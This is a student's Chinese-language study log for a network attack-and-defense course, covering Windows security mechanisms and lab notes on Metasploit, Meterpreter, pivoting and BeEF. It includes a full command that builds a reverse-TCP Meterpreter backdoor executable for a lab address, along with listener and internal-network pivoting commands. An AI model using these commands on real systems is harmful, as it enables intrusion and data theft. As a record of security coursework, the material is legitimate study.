教材学习内容总结
第七章 Windows操作系统安全防护
Windows操作系统框架
Windows操作系统的发展与现状
Windows在桌面操作系统中占有非常高的市场份额,Windows XP系统在国内仍有大量的用户
- Windows操作系统基本结构
1、Windows操作系统内核基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
2、Windows操作系统在用户态的代码模块:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。 3、核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。- Windows系统的网络结构,从OSI网络参考模型的物理层到应用层,各层对应的Windows网络组件模块包括:
①网卡硬件设备驱动程序,位于OSI物理层
②NDIS库及miniport驱动程序,位于OSI链路层 ③TDI传输层,也被称为网络协议驱动,位于OSI网络层与传输层 ④网络API DLL 及TDI客户端,对应OSI会话层与表示层 ⑥网络应用程序与服务进程,对应OSI应用层Windows操作系统的安全体系结构与机制
Windows安全体系结构
基于引用监控器(Reference Monitor)模型来实现基本的对象安全模型。最核心的是位于内核中的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS安全服务。
- Windows身份认证机制
分为用户,用户组,和计算机三大类。对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows用户密码经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机秘钥Hash加密后存储在SAM文件中。 Windows进程、GINA图形化登录窗口,与LSASS服务通过协作来完成本地身份认证过程。 Windows授权与访问控制机制 Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。 Windows对于系统中所有需要保护的资源都抽象成对象,而对每个对象会关联一个SD安全描述符(Security Descriptor)都会关联一个对象描述符,有以下属性组成:Owner SID、Group SID、DACL 自主访问控制列表、SACL 系统审计访问控制列表。- Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。
- Windows的其他安全机制
Windows安全中心中集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施:防火墙,补丁自动更新,以及病毒防护。除了安全中心外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等。
- Windows远程安全攻防技术
Windows远程攻击技术可分为:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户
- Windows系统的安全漏洞生命周期
Windows安全漏洞发现、利用与修补过程
安全漏洞公开披露信息库:几个知名的通用漏洞信息库:CVE、NVD、SecurityFocus、OSVDB等。
针对特定目标的渗透测试攻击过程:①漏洞扫描测试②查找针对发现漏洞的渗透代码③实施渗透测试
使用Metasploit软件实施渗透测试 Metasploit是完全开源的渗透测试软件。采用开发框架和模块组件的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台;模块组件是真正实施渗透攻击的代码。 Metasploit提供了CLI、Console、Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式。- Windows远程口令猜测与破解攻击
远程口令自猜测
远程口令字交换通信窃听与破解 远程口令猜测与破解防范措施- Windows网络服务远程渗透攻击
Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。
针对NetBIOS网络服务的著名漏洞及攻击 针对SMB网络服务的著名漏洞及攻击 针对MSRPC网络服务的著名漏洞及攻击 针对Windows系统上微软网络服务的远程渗透攻击 针对Windows系统上第三方网络服务的远程渗透攻击 网络服务远程渗透攻击防范措施Windows本地安全攻防技术
Windows本地特权提升
终极特权:Administrator或者Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升。
Windows敏感信息窃取 Windows系统口令字密文提取技术 Windows系统口令字破解技术 用户敏感数据窃取 本地敏感信息窃取防范措施- Windows消踪灭迹
关闭审计功能
清理事件日志 针对消踪灭迹的防范措施- Windows远程控制与后门程序
命令行远程控制工具
图形化远程控制工具 针对后门程序防范措施教材学习中的问题和解决过程
视频(26-30)学习中的问题和解决过程
漏洞利用之检索与利用(26)
1.Searchsploit 属于exploit database集,通过searchsploit可以方便地借助关键词搜索漏洞信息以及其EXP
2.漏洞开发工具
pattern create 网络漏洞利用包
armitage 结合msf iboss-autopwn-linux ikat 自动化开启不同的exp,等待目标访问中招 terminater 智能电表Hack工具,评估智能电表漏洞利用之metasploit基础(27)
Metasploitable在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
一、启动服务
在Kali中使用metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。
二、路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块,
encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里
三、基本命令
msfpayload:用来生成payload或者shellcode
搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数。
msfencode:
msf中的编码器,早期为了编码绕过AV,现常用msfpayload与它编码避免exploit中的坏字符串。
msfconsole:开启metasploit的concle
四、测试示例:发现漏洞,搜索exploit
前期扫描得知,目标21端口vsftpd服务版本为2.3.4,使用msfconsole打开msf的命令行版。
选择相应功能
选择payload
设置远程ip地址,端口号用21
最后发现用exploit攻击后失败。。
Kali漏洞利用之Meterpreter介绍(28)
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库组成,极大地丰富了攻击方式。其有很多有用的功能。常用命令:
background:将当前会话放置后台 load/use:加载模块 Interact:切换一个信道 migrate:迁移进程 run:执行一个已有模块,输入run后按两下teb,会列出所有的已有脚本。 Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp 针对windows操作系统,反向连接shell,只用起来比较稳定。一、生成Meterpreter后门
命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
在指定目录,生成exe文件 生成一个后门就要打开一个监听,接收返回的连接,查看需要的参数。需要两个参数LHOST,LPORT。将生成的文件模仿入侵的过程移动到靶机里。
set LPORT 2333 set LHOST 192.168.75.132 exploit background返回到msf里Metasploit后渗透测试(29)
怎样设置跳板机?
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
1、查看当前网卡、网段信息
先控制一台跳板机,查看相关网卡网段信息2、添加路由表 run autoroute -s 10.0.0.1
3、开Socks代理 通过使用 auxiliary/sever/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。
4、通过Background和sessions -i可以自由切换进入Session
5、输入run可以看到Meterpreter上可以做的很多命令
6、获取内网信息run arp_scanner -r 10.0.0.1/24
7、也可上传文件,做端口转发后续测试
8、应用程序/权限维持/Tunnel工具集
9、端口转发 upload lcx.exe c:
Kali漏洞利用之BeeF(30)
对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官网http://beefproject.com/
1、命令行下启动Beef beef-xss 此时浏览器自动访问此页面: 使用默认用户名beef与默认密码beef登录:
初始用户名和密码为:beef和beef
重新加载Metasploit的exploit模块
学习进度条
完成《网络攻防技术与实践》第7章内容;看完KALI视频前26-30节
视频学习(新增/累计) | 教材学习 | 博客量(新增/累计) | |
目标 | 34个视频 | 12章(网络攻击技术与实践) | |
第一周 | (实验楼学习) | (实验楼学习) | 1/1 |
第二周 | 5/5 | 第1、2章 | 1/2 |
第三周 | 5/10 | 第3章 | 1/3 |
第四周 | 5/15 | 第4章 | 1/4 |
第五周 | 5/20 | 第11、12章 | 1/6 |
第六周 | 5/25 | 第5、6章 | 1/7 |
第七周 | 5/30 | 第7章 | 1/8 |
错题总结
1、使用Linux命令od -tcx1 Hello.java
或od -tc -tcx1 Hello.java
可以ASCII码和十六进制单字节方法输出Hello.java的内容。(-b是以八进制输出)
参考资料
- 《网络攻防技术与实践》教材
- kali视频
- 《网络攻防技术与实践》诸葛建伟著,光盘中的第五章第六章的内容